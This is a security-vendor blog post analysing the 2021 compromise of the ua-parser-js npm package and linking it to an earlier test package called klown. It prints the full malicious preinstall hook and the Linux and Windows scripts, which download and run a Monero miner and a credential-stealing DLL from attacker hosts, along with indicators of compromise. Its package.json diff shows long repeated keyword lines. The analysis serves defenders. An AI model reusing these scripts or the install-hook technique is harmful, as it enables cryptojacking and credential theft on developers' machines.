

Links to Previous Attacks in UAParserJS Compromise

cadosecurity.com/links-to-previous-attacks-in-uaparserjs-compromise/

October 23, 2021



Blog

October 23, 2021

A very popular npm library called UAParser was compromised this week. The author of the library, Faisal Salman, said:

"I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware."

The compromised package installs a monero miner on Linux and Windows systems. Advisories are available from the package author, [GitHub](#) and [CISA](#).

When we analysed the malware – we found that clear links to earlier stages of the attack from an attacker named “wozheqirsplu”, described below.

Malware Analysis

The attacker compromised Faisal’s npm access and updated the npm package.json file to run a file called preinstall.js:

```
package/package.json CHANGED
@@ -1,7 +1,7 @@
1 1  {
2 2    "title": "UAParser.js",
3 3    "name": "ua-parser-js",
4 4 -   "version": "0.7.28",
5 5 +   "version": "0.7.29",
6 6    "author": "Faisal Salman <f@faisalman.com> (http://faisalman.com)",
7 7    "description": "Lightweight JavaScript-based user-agent string parser",
8 8    "keywords": [
9 9      "ua",
10 10     "user-agent",
11 11     "string",
12 12     "parser",
13 13     "lightweight",
14 14     "javascript",
15 15     "user-agent",
16 16     "string",
17 17     "parser",
18 18     "lightweight",
19 19     "javascript",
20 20     "user-agent",
21 21     "string",
22 22     "parser",
23 23     "lightweight",
24 24     "javascript",
25 25     "user-agent",
26 26     "string",
27 27     "parser",
28 28     "lightweight",
29 29     "javascript",
30 30     "user-agent",
31 31     "string",
32 32     "parser",
33 33     "lightweight",
34 34     "javascript",
35 35     "user-agent",
36 36     "string",
37 37     "parser",
38 38     "lightweight",
39 39     "javascript",
40 40     "user-agent",
41 41     "string",
42 42     "parser",
43 43     "lightweight",
44 44     "javascript",
45 45     "user-agent",
46 46     "string",
47 47     "parser",
48 48     "lightweight",
49 49     "javascript",
50 50     "user-agent",
51 51     "string",
52 52     "parser",
53 53     "lightweight",
54 54     "javascript",
55 55     "user-agent",
56 56     "string",
57 57     "parser",
58 58     "lightweight",
59 59     "javascript",
60 60     "user-agent",
61 61     "string",
62 62     "parser",
63 63     "lightweight",
64 64     "javascript",
65 65     "user-agent",
66 66     "string",
67 67     "parser",
68 68     "lightweight",
69 69     "javascript",
70 70     "user-agent",
71 71     "string",
72 72     "parser",
73 73     "lightweight",
74 74     "javascript",
75 75     "user-agent",
76 76     "string",
77 77     "parser",
78 78     "lightweight",
79 79     "javascript",
80 80     "user-agent",
81 81     "string",
82 82     "parser",
83 83     "lightweight",
84 84     "javascript",
85 85     "user-agent",
86 86     "string",
87 87     "parser",
88 88     "lightweight",
89 89     "javascript",
90 90     "user-agent",
91 91     "string",
92 92     "parser",
93 93     "lightweight",
94 94     "javascript",
95 95     "user-agent",
96 96     "string",
97 97     "parser",
98 98     "lightweight",
99 99     "javascript",
100 100     "user-agent",
101 101     "string",
102 102     "parser",
103 103     "lightweight",
104 104     "javascript",
105 105     "user-agent",
106 106     "string",
107 107     "parser",
108 108     "lightweight",
109 109     "javascript",
110 110     "user-agent",
111 111     "string",
112 112     "parser",
113 113     "lightweight",
114 114     "javascript",
115 115     "user-agent",
116 116     "string",
117 117     "parser",
118 118     "lightweight",
119 119     "javascript",
120 120     "user-agent",
121 121     "string",
122 122     "parser",
123 123     "lightweight",
124 124     "javascript",
125 125     "user-agent",
126 126     "string",
127 127     "parser",
128 128     "lightweight",
129 129     "javascript",
130 130     "user-agent",
131 131     "string",
132 132     "parser",
133 133     "lightweight",
134 134     "javascript",
135 135     "user-agent",
136 136     "string",
137 137     "parser",
138 138     "lightweight",
139 139     "javascript",
140 140     "user-agent",
141 141     "string",
142 142     "parser",
143 143     "lightweight",
144 144     "javascript",
145 145 +   "preinstall": "start /B node preinstall.js & node preinstall.js",
146 146     "build": "uglifyjs src/ua-parser.js -o dist/ua-parser.min.js --comments && uglifyjs src/ua-parser.js -o dist/ua-parser.pack.js --comments --compress --mangle",
147 147     "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js",
148 148     "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js",
149 149   }
150 150 }
```

Preinstall.js then determines the operating system:

```

const { exec } = require("child_process");

function terminallinux(){
exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
  if (error) {
    console.log(`error: ${error.message}`);
    return;
  }
  if (stderr) {
    console.log(`stderr: ${stderr}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
});
}

var opsys = process.platform;
if (opsys == "darwin") {
  opsys = "MacOS";
} else if (opsys == "win32" || opsys == "win64") {
  opsys = "Windows";
  const { spawn } = require('child_process');
  const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
} else if (opsys == "linux") {
  opsys = "Linux";
  terminallinux();
}

```

If it is running on Linux – it then runs preinstall.sh:

```

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl http://159.148.186.228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget http://159.148.186.228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u
49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjblXWQdBqLMxxYKH --cpu-max-threads-hint=50
--donate-level=1 --background &>/dev/null &
fi
fi

```

This determines the location of the system, and if it is not in one of the following countries continues to execute:

Russia, Ukraine, Belarus or and Kazakhstan

It then downloads the file [http://159.148.186.\[.\]228/download/jsextension](http://159.148.186.[.]228/download/jsextension) and executes it. The file jsextension the crypto-currency miner xmrig – set to use the minexmr mining pool with the monero wallet:

49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjblXWQdBqLMxxYKH

If it is running Windows – it then runs preinstall.bat:

```

@echo off
curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe (
  wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe
)
if not exist jsextension.exe (
  certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe
)
curl https://citationsherbe.at/sdd.dll -o create.dll
if not exist create.dll (
  wget https://citationsherbe.at/sdd.dll -O create.dll
)
if not exist create.dll (
  certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll
)
set exe_1=jsextension.exe
set "count_1=0"
>tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_1%"
)
for /f %x in (tasklist.temp) do (
if "%x" EQU "%exe_1%" set /a count_1+=1
)
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u
49ay9Aq2r3diJtEk3eeKkm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjblXWQdBqLMxxYKH --cpu-max-threads-hint=50
--donate-level=1 --background & regsvr32.exe -s create.dll)
del tasklist.temp

```

Similarly to the Linux installation – this downloads a copy of xmrig (via curl or certutil) and runs it with the same parameters. The file sdd.dll is detected as a [credential theft](#) tool.

Setting up the Attack

The malicious file deployed on Windows machine is served from:

[http://159.148.186\[.\]228/download/jsextension.exe](http://159.148.186[.]228/download/jsextension.exe)

And has the SHA256 [7f986cd3c946f274cdec73f80b84855a77bc2a3c765d68897fbc42835629a5d5](https://www.virustotal.com/gui/file/7f986cd3c946f274cdec73f80b84855a77bc2a3c765d68897fbc42835629a5d5).

This file has been seen before.

Back on Wednesday October 20th, Sonatype wrote a blog titled “[Newly Found npm Malware Mines Cryptocurrency on Windows, Linux, macOS Devices](#)”. They saw the same file – but back then it was being served from a different server:

[http://185.173.36\[.\]219/download/jsextension.exe](http://185.173.36[.]219/download/jsextension.exe)

Sonatype spotted a malicious user named wozheqirsplu had first created a npm package called *okhsa* that started calc.exe (Opening the Windows Calculator is a typical first step in testing malicious execution):



wozheqirsplu

2 Packages

Packages 2

okhsa

Tyu

wozheqirsplu published 0.1.3 • 17 hours ago

klown

Lightweight JavaScript-based user-agent string parser

wozheqirsplu published 0.7.29 • 17 hours ago

They then created a package named klown that impersonated the (later compromised) ua-parser-js library:

archive.today Saved from <https://www.npmjs.com/package/klown> 15 Oct 2021 08:20:47 UTC

klown
0.7.29 • Public • Published 17 hours ago

Readme Explore 0 Dependencies 1 Dependents 1 Versions

Install
> npm i klown

Repository
github.com/faisalman/ua-parser...

Homepage
github.com/faisalman/ua-parser...

Weekly Downloads
23

Version 0.7.29 License MIT

UA Parser.js
JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint (~17KB minified, ~6KB gzipped) that can be used either in browser (client-side) or node.js (server-side).

The malicious code in this package is an earlier version of the code actually deployed live – it has a couple of small changes such as a different Monero wallet ID:

<pre> 1 @echo off 2 curl http://185.173.36.219/download/jsextension.exe -o jsextension.exe 3 if not exist jsextension.exe (4 wget http://185.173.36.219/download/jsextension.exe -O jsextension.exe 5) 6 if not exist jsextension.exe (7 certutil.exe -urlcache -f http://185.173.36.219/download/jsextension.exe jsextension.exe 8) 9 set exe_1=jsextension.exe 10 set "count_1=0" 11 >tasklist.temp (12 tasklist /NH /FI "IMAGENAME eq %exe_1%" 13) 14 for /f %x in (tasklist.temp) do (15 if "%x%" EQU "%exe_1%" set /a count_1+=1 16) 17 if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u 87FL18cR27 18 hTjwzgvXVUrEkHagHl2zuaco2bVkfLgQl3MNFfpeay7QjMhooz19qQFfjg2fQRJwJKZlDjpetTSQp69x8ARuH --cpu-max-threads= 19 hint=20 --donate-level=1 --background) 20 del tasklist.temp </pre>	<pre> 1 @echo off 2 curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe 3 if not exist jsextension.exe (4 wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe 5) 6 if not exist jsextension.exe (7 certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe 8) 9 curl https://citationsherbe.at/sdd.dll -o create.dll 10 if not exist create.dll (11 wget https://citationsherbe.at/sdd.dll -O create.dll 12) 13 if not exist create.dll (14 certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll 15) 16 set exe_1=jsextension.exe 17 set "count_1=0" 18 >tasklist.temp (19 tasklist /NH /FI "IMAGENAME eq %exe_1%" 20) 21 for /f %x in (tasklist.temp) do (22 if "%x%" EQU "%exe_1%" set /a count_1+=1 23) 24 if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u 89ay9Aq2r3 25 dJt7tk3eeKw7pc5R39AKnbV2VqAd1Uuuew6ZPX1ndFXQC16v4tr9p4derPyXtUQZ7HGjblXNq4BqUlxvYKH --cpu-max-threads= 26 hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll) 27 del tasklist.temp </pre>
--	--

(Earlier prototype of the code on the left. The right hand side shows the code deployed in the attack)

When Sonatype published their blog on October 20th (two days before the real attack) they noted that – at that point – it wasn't clear how the attackers intended on deploying their malicious package:

It isn't clear how the author of these packages aims to target developers. There are no obvious signs observed that indicate a case of typosquatting or **dependency hijacking**. "Klow(n)" does impersonate the legitimate UAParser.js library on the surface, making this attack seem like a **weak brandjacking attempt**.

In hindsight – it's now clear that this was the user wozheqirsplu preparing for their attack.

Recommendations

Assume that any machine that has run compromised versions is compromised, and rotate and credentials or keys on the machine from a separate machine.

When deploying software, check for compromised dependencies as part of any build process.

Indicators of Compromise

- 185.173.36[.]219
- 159.148.186[.]228
- citationsherbe[.]at – Note this is also referenced in <https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/> – we haven't confirmed the nature of the link yet.
- http://185.173.36[.]219/download/
- http://185.173.36[.]219/download/jsextension.exe
- http://185.173.36[.]219/download/xmrig.exe
- http://185.173.36[.]219/download/jsextension.exe
- http://185.173.36[.]219/
- http://185.173.36[.]219/download/jsextension
- http://185.173.36[.]219:81/download/linux64
- http://159.148.186[.]228/download/jsextension
- http://159.148.186[.]228/download/jsextension.exe
- https://159.148.186[.]228/sdd.dll
- https://159.148.186[.]228/jsextension.exe
- https://159.148.186[.]228/download/jsextension.exe
- http://159.148.186[.]228/download/jsextension.exe
- http://159.148.186[.]228/jsextension.exe
- http://159.148.186[.]228/download/jsextension.exe
- http://159.148.186[.]228/download/
- https://citationsherbe[.]at/sdd.dll
- https://citationsherbe[.]at/create.dll
- http://citationsherbe[.]at:8080/sdd.dll

[https://citationsherbe\[.\]at/dog.dll](https://citationsherbe[.]at/dog.dll)

[https://citationsherbe\[.\]at/sdd.dll](https://citationsherbe[.]at/sdd.dll)

[http://citationsherbe\[.\]at/sdd.dll](http://citationsherbe[.]at/sdd.dll)

About Cado Security

Cado Security provides *the* cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. For more information, please visit <https://www.cadosecurity.com/> or follow us on Twitter [@cadosecurity](https://twitter.com/cadosecurity).

[Prev Post](#) [Next Post](#)